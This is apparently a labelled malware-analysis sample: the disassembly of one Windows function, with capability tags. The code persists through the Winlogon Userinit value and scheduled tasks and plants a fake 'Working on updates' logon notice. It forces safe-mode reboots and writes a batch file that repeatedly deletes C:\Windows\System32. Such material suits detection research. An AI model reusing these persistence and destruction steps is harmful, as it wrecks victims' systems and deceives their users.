Function at 0x180004bf0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Enable safe mode boot
Execute command
Get common file path
Get disk information
Get disk size
Get file attributes
Get session user name
Move file
Persist via winlogon helper dll registry key
Query or enumerate registry value
Schedule task via schtasks
Self delete
Set file attributes
Set registry value
Terminate process

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb30
xor esi, esi
lea r8, str.abracadabra
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180004c31
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rsp + 0xb78], 0x104
lea rdx, [rsp + 0xb78]
lea rcx, [rsp + 0x6f0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
nop
lea rax, str.C:UsersAppDataLocalMicrosoftWindowsApps_api_ms_win_core_kernel32_legacy_l1.dll
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0x56
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x6f0]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.18000ad10
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xb0]
call fcn.180008d50
mov rcx, rax
call fcn.1800049d0
lea rcx, [rsp + 0x38]
call fcn.180008cb0
nop
jmp 0x180004cb3
lea rax, str.C:UsersAppDataLocalMicrosoftWindowsAppsexpIores.exe
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0x3c
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x6f0]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.18000ad10
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xb0]
call fcn.180008d50
mov rcx, rax
call fcn.1800049d0
lea rcx, [rsp + 0x38]
call fcn.180008cb0
nop
jmp 0x180004d13
lea rdx, str.C:WindowsSystem32TasksSiletsCleanup
lea rcx, [rsp + 0x3a0]
call fcn.180007e30
lea rdx, str.C:WindowsSystem32TasksWindowsTask
lea rcx, [rsp + 0x290]
call fcn.180007e30
cmp qword [rsp + 0x320], 0
jne 0x180004dc1
lea rax, str.schtasks__create__tn_WindowsTask__sc_onlogon__tr__C:UsersAppDataLocalMicrosoftWindowsAppscsrcs.exe_
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0x6c
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x6f0]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.18000ad10
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.180007c20
mov rbx, rax
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rbx
call fcn.180016514
lea rcx, [rsp + 0x38]
call fcn.180008cb0
nop
jmp 0x180004daf
lea rcx, str.schtasks__create__tn_Createfile__sc_onlogon__tr__C:Windows_System1.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
jmp 0x180004dc1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800053ff
mov dword [rsp + 0xb80], esi
mov dword [rsp + 0xb70], 0x104
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x800]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb80]
xor r8d, r8d
lea rdx, str.Userinit
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea rax, str.C:WINDOWS_system32userinit.exe__C:UsersAppDataLocalMicrosoftWindowsAppsexpIores.exe
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 0x5e
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x68], rax
movabs rax, 0xb000000000000000
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov edx, 0x7e
lea rcx, [rsp + 0x38]
call fcn.18000b850
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x4c0], rsi
mov qword [rsp + 0x4c8], 0x100
lea rbx, vtable.std::_Fmt_iterator_buffer_class_std::back_insert_iterator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____char__struct_std::_Fmt_buffer_traits_.0
mov qword [rsp + 0x4b0], rbx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x4d0], rax
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xb0], xmm1
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rsi
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], rsi
movdqa xmmword [rsp + 0x70], xmm1
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x70]
call fcn.18000f080
lea rcx, [rsp + 0x4b0]
call fcn.18000e080
mov qword [rsp + 0x4b0], rbx
cmp qword [rsp + 0x4c0], 0
je 0x180004f7c
lea rcx, [rsp + 0x4b0]
call fcn.18000e080
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x108]
call fcn.180008d50
mov ebx, dword [rsp + 0x118]
inc ebx
movsxd rcx, ebx
call fcn.180016560
mov r15, rax
lea rdx, [rsp + 0x108]
cmp qword [rsp + 0x120], 0xf
cmova rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x118]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
movsxd rax, ebx
mov byte [rax + r15 - 1], 0
mov r14d, 1
lea rbx, [rsp + 0x140]
nop dword [rax]
nop dword [rax + rax]
dec r14
lea rbx, [rbx - 0x20]
mov rdx, qword [rbx]
cmp rdx, 0xf
jbe 0x180005031
mov rcx, qword [rbx - 0x18]
inc rdx
cmp rdx, 0x1000
jb 0x18000502c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000530e
mov rcx, r8
call fcn.180016514
mov qword [rbx - 8], rsi
mov qword [rbx], 0xf
mov byte [rbx - 0x18], 0
test r14, r14
jne 0x180004ff0
mov r14, 0xffffffffffffffff
mov r8, r14
nop
inc r8
cmp byte [r15 + r8], 0
jne 0x180005050
mov rdx, r15
lea rcx, [rsp + 0x800]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x180005079
mov dword [0x18003ff04], 1
mov rcx, r15
call fcn.180016514
cmp qword [rsp + 0x430], 0
jne 0x1800053c4
mov r8d, 0x45
lea rdx, str.C:WINDOWS_system32userinit.exe__C:Windows_System32easinvoker.exe
lea rcx, [rsp + 0x800]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1800053c4
movaps xmm0, xmmword [str.C:WINDOWS_system32userinit.exe__C:Windows_System32easinvoker.exe]
movaps xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [0x180035cc0]
movaps xmmword [rsp + 0x250], xmm1
movaps xmm0, xmmword [0x180035cd0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmm1, xmmword [0x180035ce0]
movaps xmmword [rsp + 0x270], xmm1
mov eax, dword [0x180035cf0]
mov dword [rsp + 0x280], eax
movzx eax, word [0x180035cf4]
mov word [rsp + 0x284], ax
mov dword [rsp + 0x28], 0x46
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, str.Userinit
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
jne 0x18000535f
movups xmm0, xmmword [str.Working_on_updates_Windows...]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x180035d70]
movsd qword [rsp + 0x80], xmm0
mov eax, dword [0x180035d78]
mov dword [rsp + 0x88], eax
movzx eax, word [0x180035d7c]
mov word [rsp + 0x8c], ax
movups xmm0, xmmword [str.Dont_turn_off_your_computer]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x180035d90]
movsd qword [rsp + 0xc0], xmm0
mov eax, dword [0x180035d98]
mov dword [rsp + 0xc8], eax
movzx eax, byte [0x180035d9c]
mov byte [rsp + 0xcc], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x28], 0x1e
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, str.legalnoticecaption
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x180005250
lea r8, [rsp + 0x30]
lea rdx, str.legalnoticecaption
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [rsp + 0x28], 0x1e
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, str.legalnoticecaption
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x28], 0x1d
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, str.legalnoticetext
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x1800052f1
lea r8, [rsp + 0x30]
lea rdx, str.legalnoticetext
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [rsp + 0x28], 0x1d
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, str.legalnoticetext
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
nop
lea rcx, str.schtasks__CREATE__TN_SiletsCleanup__XML__C:Windows_System321.xml___F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_System321.xml
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
jmp 0x18000531e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp dword [0x18003ff04], 0
jne 0x180005385
mov r9d, 0x10
lea r8, str.Windows
lea rdx, str.Error_System_Code...
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.bcdedit__set_current_safeboot_minimal
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Shutdown__f__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x180005385
lea rcx, str.schtasks__CREATE__TN_SiletsCleanup__XML__C:Windows_System321.xml___F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_System321.xml
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
jmp 0x180005385
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x180005425
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800053bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800053f8
call fcn.180016514
jmp 0x180005425
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x180005425
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800053bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800053bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.schtasks__CREATE__TN_SiletsCleanup__XML__C:Windows_System321.xml___F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_System321.xml
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
jmp 0x18000541e
mov r14, 0xffffffffffffffff
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rsi
mov edx, 0x104
lea rcx, [rsp + 0x910]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov r9d, 3
lea r8, [rsp + 0x910]
mov edx, 0x104
lea r15, [0x18003fe00]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov r9d, 3
lea r8, [rsp + 0x910]
mov edx, 0x104
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
lea r8, str.Windows__
mov edx, 0x104
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov r9d, 0xb
lea r8, [rsp + 0x5e0]
mov edx, 0x104
lea rbx, [0x180040240]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
lea r8, [0x180035e78]
mov edx, 0x104
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov r9, r14
inc r9
cmp byte [rbx + r9], 0
jne 0x1800054e5
mov r8, rbx
mov edx, 0x104
lea rcx, [0x180040020]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov r9, r14
nop word [rax + rax]
inc r9
cmp byte [rbx + r9], 0
jne 0x180005510
mov r8, rbx
mov edx, 0x104
lea rcx, [0x180040130]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
lea r8, str.System32_
mov edx, 0x104
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x180035e98]
mov edx, 0x104
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, str.easinvoker.exe
mov edx, 0x104
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, str.netutils.dll
mov edx, 0x104
lea rcx, [0x180040020]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, str.explores.exe
mov edx, 0x104
lea rcx, [0x180040130]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [0x180040020]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
mov edx, eax
lea rcx, [0x180040020]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [0x180040130]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
mov edx, eax
lea rcx, [0x180040130]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 2
jne 0x180005626
or eax, 2
mov edx, eax
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x18000562d
mov byte [0x18003f098], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], rsi
lea rdx, [rsp + 0xa20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
dec eax
cmp eax, 0x103
ja 0x1800058f9
lea rbx, [rsp + 0xa20]
cmp byte [rsp + 0xa20], 0
je 0x1800058f9
mov rdi, qword [rsp + 0xb8]
nop
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb88]
lea r8, [rsp + 0xb70]
lea rdx, [rsp + 0x100]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov r8, r14
inc r8
cmp byte [rbx + r8], 0
jne 0x1800056b1
cmp dword [rsp + 0xb70], 0
jne 0x1800056ce
lea rax, [r8 + rbx]
jmp 0x1800058dc
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x18000580e
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1800056e6
mov eax, dword [str.Users_]
mov dword [rcx], eax
movzx eax, word [0x180035edc]
mov word [rcx + 4], ax
movzx eax, byte [0x180035ede]
mov byte [rcx + 6], al
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x180005710
lea r8, [rsp + 0x6f0]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180005730
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov r8, r14
inc r8
cmp byte [r15 + r8], 0
jne 0x180005755
mov rdx, r15
lea rcx, [rsp + 0x38]
call fcn.18000b9a0
cmp rdi, qword [rsp + 0xc0]
je 0x1800057a3
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rdi + 0x10], xmm1
add rdi, 0x20
mov qword [rsp + 0xb8], rdi
jmp 0x1800057fd
lea r8, [rsp + 0x38]
mov rdx, rdi
lea rcx, [rsp + 0xb0]
call fcn.18000cfc0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1800057f5
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800057f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800058eb
call fcn.180016514
mov rdi, qword [rsp + 0xb8]
mov rax, r14
inc rax
cmp byte [rbx + rax], 0
jne 0x180005800
jmp 0x1800058d9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov r8, r14
inc r8
cmp byte [rbx + r8], 0
jne 0x180005823
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.18000b9a0
cmp rdi, qword [rsp + 0xc0]
je 0x180005871
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rdi + 0x10], xmm1
add rdi, 0x20
mov qword [rsp + 0xb8], rdi
jmp 0x1800058c7
lea r8, [rsp + 0x38]
mov rdx, rdi
lea rcx, [rsp + 0xb0]
call fcn.18000cfc0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1800058bf
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800058ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800058f2
call fcn.180016514
mov rdi, qword [rsp + 0xb8]
mov rax, r14
nop word [rax + rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x1800058d0
add rax, rbx
lea rbx, [rax + 1]
cmp byte [rbx], 0
jne 0x180005680
jmp 0x180005901
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdi, qword [rsp + 0xb8]
mov r13d, esi
mov rax, rdi
mov r12, qword [rsp + 0xb0]
sub rax, r12
sar rax, 5
mov qword [rsp + 0xb70], rax
test rax, rax
je 0x1800059e9
mov r15, rsi
nop word [rax + rax]
shl r15, 5
add r15, r12
mov ecx, 0x28
call fcn.18001651c
mov rbx, rax
mov rdx, r15
mov rcx, rax
call fcn.180008d50
lea rax, [fcn.180006680]
mov qword [rbx + 0x20], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x18000dff0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x180005dd6
mov rdx, qword [rsp + 0x98]
cmp rdx, qword [rsp + 0xa0]
je 0x1800059b8
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x98], 0x10
jmp 0x1800059ca
lea r8, [rsp + 0x60]
lea rcx, [rsp + 0x90]
call fcn.18000d320
cmp dword [rsp + 0x68], 0
jne 0x180005dcf
inc r13d
movsxd r15, r13d
cmp r15, qword [rsp + 0xb70]
jb 0x180005930
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov dword [rsp + 0xb70], esi
mov rax, rdi
sub rax, r12
sar rax, 5
test rax, rax
je 0x180005abc
mov r15, rsi
mov rax, rdi
sub rax, r12
sar rax, 5
mov qword [rsp + 0xb80], rax
mov r13, rsi
nop word [rax + rax]
mov rax, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
sub rax, rbx
sar rax, 4
cmp rax, r15
jbe 0x180006164
cmp dword [rbx + r13 + 8], 0
je 0x180005dfe
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + r13 + 8], eax
je 0x180005df2
movups xmm0, xmmword [rbx + r13]
movaps xmmword [rsp + 0x70], xmm0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x180005de6
xorps xmm0, xmm0
movups xmmword [rbx + r13], xmm0
mov ecx, dword [rsp + 0xb70]
inc ecx
mov dword [rsp + 0xb70], ecx
inc r15
add r13, 0x10
movsxd rax, ecx
cmp rax, qword [rsp + 0xb80]
jb 0x180005a30
lea r8, str.Desktop
mov edx, 0x104
lea rbx, [0x18003fe00]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x180005af0
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.18000b9a0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x180005b44
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005b3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005fa3
call fcn.180016514
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
inc r14
cmp byte [rbx + r14], 0
jne 0x180005b56
mov r8, r14
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.18000b9a0
mov dl, 1
lea rcx, [rsp + 0x38]
call fcn.1800062f0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x180005bb9
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005bb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005fa3
call fcn.180016514
lea rax, [0x180036660]
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x130]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x130], r14
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x12c], edx
lea rcx, [rsp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rbx, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x138], rbx
mov byte [rsp + 0x1b4], 0
mov byte [rsp + 0x1a9], 0
lea rcx, [rsp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x1b8], rsi
mov rax, qword [0x180040358]
mov qword [rsp + 0x1ac], rax
mov qword [rsp + 0x1a0], rsi
mov r8d, 2
lea rdx, str.C:Windows_System1.bat
lea rcx, [rsp + 0x138]
call fcn.1800091f0
test rax, rax
jne 0x180005cc4
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str._echo_off
lea rcx, [rsp + 0x130]
call fcn.18000ae40
mov rcx, rax
call fcn.18000b000
lea rdx, str.:loc
lea rcx, [rsp + 0x130]
call fcn.18000ae40
mov rcx, rax
call fcn.18000b000
lea rdx, str.rd__s__q__C:Windows_System32_
lea rcx, [rsp + 0x130]
call fcn.18000ae40
mov rcx, rax
call fcn.18000b000
lea rdx, str.if_exist
lea rcx, [rsp + 0x130]
call fcn.18000ae40
mov rcx, rax
lea rdx, str._C:Windows_System32_
call fcn.18000ae40
mov rcx, rax
lea rdx, str._goto_loc
call fcn.18000ae40
mov rcx, rax
call fcn.18000b000
lea rdx, str.del__0
lea rcx, [rsp + 0x130]
call fcn.18000ae40
lea rcx, [rsp + 0x138]
call fcn.180009130
test rax, rax
jne 0x180005d9e
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rdx, str.C:Windows_System32easinvokers.exe
lea rcx, str.C:Windows_System32easinvoker.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
lea rcx, str.bcdedit__deletevalue_default_safeboot
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Shutdown__f__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
jmp 0x180005e2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov dword [rsp + 0x68], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
